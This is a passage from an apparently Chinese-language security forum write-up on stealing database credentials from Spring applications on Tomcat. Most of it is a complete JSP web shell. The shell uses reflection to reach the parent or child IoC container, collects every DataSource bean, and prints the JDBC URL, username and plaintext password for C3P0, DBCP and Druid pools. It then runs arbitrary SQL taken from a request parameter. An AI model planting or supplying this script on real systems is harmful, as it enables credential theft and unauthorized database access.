ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext()); // 获取Spring中所有的数据源对象 List<DataSource> dataSourceList = getDataSources(ctx); // 检查是否获取到了数据源 if (dataSourceList == null) { out.println("未找到任何数据源配置信息!"); return; } out.println("<hr/>"); out.println("Spring DataSource配置信息获取测试:"); out.println("<hr/>"); out.print(printDataSourceConfig(ctx)); out.println("<hr/>"); // 定义需要查询的SQL语句 sql = sql != null ? sql : "select version()"; for (DataSource dataSource : dataSourceList) { out.println("<hr/>"); out.println("SQL语句:<font color='red'>" + sql + "</font>"); out.println("<hr/>"); //从数据源中获取数据库连接对象 Connection connection = dataSource.getConnection(); // 创建预编译查询对象 PreparedStatement pstt = connection.prepareStatement(sql); // 执行查询并获取查询结果对象 ResultSet rs = pstt.executeQuery(); out.println("<table><tr>"); // 获取查询结果的元数据对象 ResultSetMetaData metaData = rs.getMetaData(); // 从元数据中获取字段信息 for (int i = 1; i <= metaData.getColumnCount(); i++) { out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>"); } out.println("<tr/>"); // 获取JDBC查询结果 while (rs.next()) { out.println("<tr>"); for (int i = 1; i <= metaData.getColumnCount(); i++) { out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>"); } out.println("<tr/>"); } rs.close(); pstt.close(); } %> ``` 这里获取 IOC 的核心代码为: `ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());`, 当然是获取的父容器, 依赖于`ContextLoaderListener`监听器. 那么当实战中`没有配置父容器 || 数据源定义在子容器`中, 这种方式会失效. 笔者本地测试结果: ![image-20241218205210202.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-b5ff705d56759f2f15c3f3353c7c153ff2595086.png) #### 对脚本进行魔改 \[无条件获取\] 我们只需要将脚本中的获取`IOC`的方式修改为我们通过反射获取的方式, 随后将脚本逻辑改为: 从父容器中拿不到数据源结果, 就从子容器拿. 给出代码如下: ```jsp <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.Map" %> <%@ page import="org.springframework.web.servlet.DispatcherServlet" %> <%@ page import="org.springframework.web.context.support.XmlWebApplicationContext" %> <%@ page import="org.springframework.context.ApplicationContext" %> <%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %> <%@ page import="javax.sql.DataSource" %> <%@ page import="java.sql.Connection" %> <%@ page import="java.sql.PreparedStatement" %> <%@ page import="java.sql.ResultSet" %> <%@ page import="java.sql.ResultSetMetaData" %> <%@ page import="java.util.List" %> <%@ page import="java.util.ArrayList" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <style> th, td { border: 1px solid #C1DAD7; font-size: 12px; padding: 6px; color: #4f6b72; } </style> <%! // C3PO数据源类 private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource"; // DBCP数据源类 private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource"; //Druid数据源类 private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource"; /** * 获取所有Spring管理的数据源 * @param ctx Spring上下文 * @return 数据源数组 */ List<DataSource> getDataSources(ApplicationContext ctx) { List<DataSource> dataSourceList = new ArrayList<DataSource>(); if (ctx == null) { return null; } String[] beanNames = ctx.getBeanDefinitionNames(); for (String beanName : beanNames) { Object object = ctx.getBean(beanName); if (object instanceof DataSource) { dataSourceList.add((DataSource) object); } } return dataSourceList; } /** * 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类 * @param ctx Spring上下文对象 * @return 数据源配置字符串 * @throws ClassNotFoundException 数据源类未找到异常 * @throws NoSuchMethodException 反射调用时方法没找到异常 * @throws InvocationTargetException 反射调用异常 * @throws IllegalAccessException 反射调用时不正确的访问异常 */ String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { List<DataSource> dataSourceList = getDataSources(ctx); for (DataSource dataSource : dataSourceList) { String className = dataSource.getClass().getName(); String url = null; String UserName = null; String PassWord = null; if (C3P0_CLASS_NAME.equals(className)) { Class clazz = Class.forName(C3P0_CLASS_NAME); url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource); UserName = (String) clazz.getMethod("getUser").invoke(dataSource); PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource); } else if (DBCP_CLASS_NAME.equals(className)) { Class clazz = Class.forName(DBCP_CLASS_NAME); url = (String) clazz.getMethod("getUrl").invoke(dataSource); UserName = (String) clazz.getMethod("getUsername").invoke(dataSource); PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource); } else if (DRUID_CLASS_NAME.equals(className)) { Class clazz = Class.forName(DRUID_CLASS_NAME); url = (String) clazz.getMethod("getUrl").invoke(dataSource); UserName = (String) clazz.getMethod("getUsername").invoke(dataSource); PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource); } return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>"; } return null; } %> <% String sql = request.getParameter("sql");// 定义需要执行的SQL语句 ServletContext servletContext = request.getServletContext(); Field context1 = servletContext.getClass().getDeclaredField("context"); context1.setAccessible(true); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) context1.get(servletContext); Field context2 = applicationContext.getClass().getDeclaredField("context"); context2.setAccessible(true); org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) context2.get(applicationContext); Field childrenField = Class.forName("org.apache.catalina.core.ContainerBase").getDeclaredField("children"); childrenField.setAccessible(true); java.util.HashMap<String, org.apache.catalina.Container> children = (java.util.HashMap) childrenField.get(standardContext); // 获得到所有 Servlet 名称 XmlWebApplicationContext ioc = (XmlWebApplicationContext) WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext()); // 获取Spring中所有的数据源对象, 从父容器中获取 List<DataSource> dataSourceList = getDataSources(ioc); // 父容器获取不到, 从子容器中获取 if (ioc == null || dataSourceList == null || dataSourceList.size() == 0) { for (Map.Entry<String, org.apache.catalina.Container> child : children.entrySet()) { org.apache.catalina.Container standardWrapper = child.getValue(); Field instance = standardWrapper.getClass().getDeclaredField("instance"); instance.setAccessible(true); Object o = instance.get(standardWrapper); if (o instanceof org.springframework.web.servlet.DispatcherServlet) { ioc = (XmlWebApplicationContext) ((DispatcherServlet) o).getWebApplicationContext(); } } dataSourceList = getDataSources(ioc); } // 检查是否获取到了数据源 if (dataSourceList == null) { out.println("未找到任何数据源配置信息!"); return; } out.println("<hr/>"); out.println("Spring DataSource配置信息获取测试:"); out.println("<hr/>"); out.print(printDataSourceConfig(ioc)); out.println("<hr/>"); // 定义需要查询的SQL语句 sql = sql != null ? sql : "select version()"; for (DataSource dataSource : dataSourceList) { out.println("<hr/>"); out.println("SQL语句:<font color='red'>" + sql + "</font>"); out.println("<hr/>"); //从数据源中获取数据库连接对象 Connection connection = dataSource.getConnection(); // 创建预编译查询对象 PreparedStatement pstt = connection.prepareStatement(sql); // 执行查询并获取查询结果对象 ResultSet rs = pstt.executeQuery(); out.println("<table><tr>"); // 获取查询结果的元数据对象 ResultSetMetaData metaData = rs.getMetaData(); // 从元数据中获取字段信息 for (int i = 1; i <= metaData.getColumnCount(); i++) { out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>"); } out.println("<tr/>"); // 获取JDBC查询结果 while (rs.next()) { out.println("<tr>"); for (int i = 1; i <= metaData.getColumnCount(); i++) { out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>"); } out.println("<tr/>"); } rs.close(); pstt.close(); } %> ``` 最终运行结果: ![image-20241218205908444.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-e687d6385b11e82b192cc7490e3d7181f9a46501.png) Ending... ---------
发表于 2025-01-20 09:00:00
阅读 ( 817 )
分类:
代码审计
0 推荐
收藏
0 条评论
请先
登录
后评论
Heihu577
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!